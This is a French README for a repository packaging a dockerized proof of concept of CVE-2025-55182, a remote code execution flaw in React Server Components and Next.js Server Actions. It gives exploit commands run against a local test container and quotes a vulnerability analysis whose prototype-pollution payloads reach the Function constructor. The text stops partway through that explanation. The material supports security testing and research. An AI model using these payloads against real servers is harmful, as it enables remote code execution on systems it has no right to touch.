clevernyyyy/cve-2025-55182-dockerizedPreuve de concept dockerisée pour CVE-2025-55182, une RCE critique dans les composants serveur React via la pollution de prototype, avec des scripts d'exploitation automatisés et un environnement de test Next.js vulnérable.
Ce dépôt contient une preuve de concept dockerisée pour CVE-2025-55182, une vulnérabilité critique d'exécution de code à distance dans les composants serveur React (RSC) qui affecte les applications Next.js utilisant des Server Actions.
La preuve de concept originale et l'analyse de la vulnérabilité ont été réalisées par msanft. Ce dépôt étend leur travail en fournissant un environnement de test dockerisé pour faciliter les tests et la démonstration.
requests (pip install requests)Démarrer le serveur Next.js vulnérable :
docker compose up --build -d
Attendre que le serveur démarre (vérifier les logs avec docker compose logs -f nextjs-server)
Exécuter l'exploit :
# Script automatisé (recommandé)
./exploit-docker.sh
# Ou manuellement
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Vérifier que l'exploit a fonctionné :
docker compose exec nextjs-server ls -la /tmp/rce_test
# Créer un fichier
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# Écrire dans un fichier
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Vérifier l'utilisateur actuel
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Vérifier les résultats
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) à l'intérieur du conteneurCe dépôt inclut une configuration Docker complète pour tester la vulnérabilité :
docker-compose.yml – Configuration Docker Composetest-server/ – Application Next.js vulnérabletest-server/Dockerfile – Dockerfile de productiontest-server/Dockerfile.dev – Dockerfile de développement (optionnel)Le serveur vulnérable exécute Next.js 16.0.6 avec une simple Server Action exploitable.
poc.py – Script Python de preuve de concept (original de msanft, avec corrections d'échappement des guillemets)exploit-docker.sh – Script d'exploitation automatisé pour l'environnement DockerDOCKER_SETUP.md – Documentation complète de configuration Docker# Arrêter le conteneur
docker compose down
# Tout supprimer (y compris les volumes)
docker compose down -v
L'analyse détaillée de la vulnérabilité, la chaîne d'exploitation et les informations sur le correctif de la recherche originale sont fournies ci-dessous.
Cette vulnérabilité permet une RCE dans les fonctions serveur React, par exemple telles qu'offertes par Next.js via des références de prototype non sécurisées.
Je ne suis pas un expert en React ou Next.js, donc prenez toutes les informations ici avec des pincettes. De plus, je suis encore en cours d'analyse, donc ce que je décris ci-dessous comme « la vulnérabilité » pourrait n'être qu'une petite partie de la chaîne complète.
React propose des Server Functions[^1], qui peuvent être considérées comme une sorte de RPC sur HTTP. Elles peuvent être utilisées pour récupérer des données de pairs adjacents afin d'assurer une faible latence, ou effectuer des requêtes authentifiées pour lesquelles le client ne possède pas les identifiants.
React utilise ce qu'on appelle le React Flight Protocol[^2] pour la sérialisation des valeurs passées aux Server Functions.
Le client transmet des « chunks » (morceaux) au serveur, par exemple via des données de formulaire :
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Comme montré, ceux-ci peuvent avoir des références les uns envers les autres. La charge utile ci-dessus est désérialisée côté serveur en :
{ object: 'fruit', name: 'cherry' }
Le format lui-même est un peu plus complexe et permet une sérialisation et désérialisation plus élaborées, mais cela fournit une compréhension de base pour la vulnérabilité réelle.
Jusqu'à ce commit[^3], lors du parcours des chunks pour la résolution des références,
comme obtenir le fruitName du chunk 2 dans l'exemple ci-dessus, React
ne vérifiait pas si la clé demandée était effectivement définie sur l'objet.
Cela permettait d'obtenir le prototype de l'objet[^4].
Cela peut être démontré avec une charge utile comme celle-ci :
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Qui se désérialise en le constructeur de fonction[^5] :
[Function: Function]
Lorsque le chunk avec l'ID 0 n'est pas un tableau mais un objet, nous pouvons
définir la clé then sur le constructeur de fonction. L'objet est alors
retourné par la fonction decodeReplyFromBusboy et attendu (await) par Next.js :
// action-handler.ts:888 (avant le correctif)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Lorsque cela retourne un thenable, le await dans l'appelant l'appelle.
C'est ce qui se produit avec cette charge utile :
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Conduisant à cette erreur :
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
L'erreur ressemble à cela car V8 appelle une fonction awaitée
avec les fonctions internes resolve et reject, qui, lorsqu'elles sont
converties en chaîne (toString), se sérialisent en quelque chose comme :
function () { [native code] }
Puisque nous pouvons trivialement récupérer le constructeur Function, la
façon la plus directe est de trouver un gadget d'appel qui invoque le
constructeur avec une valeur contrôlée par l'utilisateur (c'est-à-dire le code de la
fonction sous forme de chaîne), puis appelle la fonction retournée.
Il existe plusieurs endroits qui peuvent appeler le constructeur de fonction,
par exemple resolveServerReference, où id est un objet contrôlé,
et lastIndexOf peut être écrasé pour retourner une chaîne contrôlée par l'utilisateur
(par exemple via Array.prototype.join) et slice peut être écrasé pour devenir le
constructeur de fonction. Cependant, cet endroit ne fonctionne pas car la deuxième
invocation de .slice() fournit un nombre comme premier argument,
qui - à ma connaissance - ne peut jamais être traité par le constructeur de fonction.
Ici, une idée brillante de maple3142[^7] entre en jeu. Lorsque getChunk
récupère le chunk à l'ID 0 comme référence racine pour commencer à résoudre la
chaîne de référence, ce même chunk peut résoudre en un « faux chunk » fabriqué.
Nous pouvons référencer le chunk fabriqué 0 dans le chunk 1 en utilisant la
syntaxe $@, qui retourne le chunk « brut », pas sa valeur résolue :
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
En combinant cela avec notre remplacement de then ci-dessus, nous pouvons fabriquer
quelque chose comme ceci :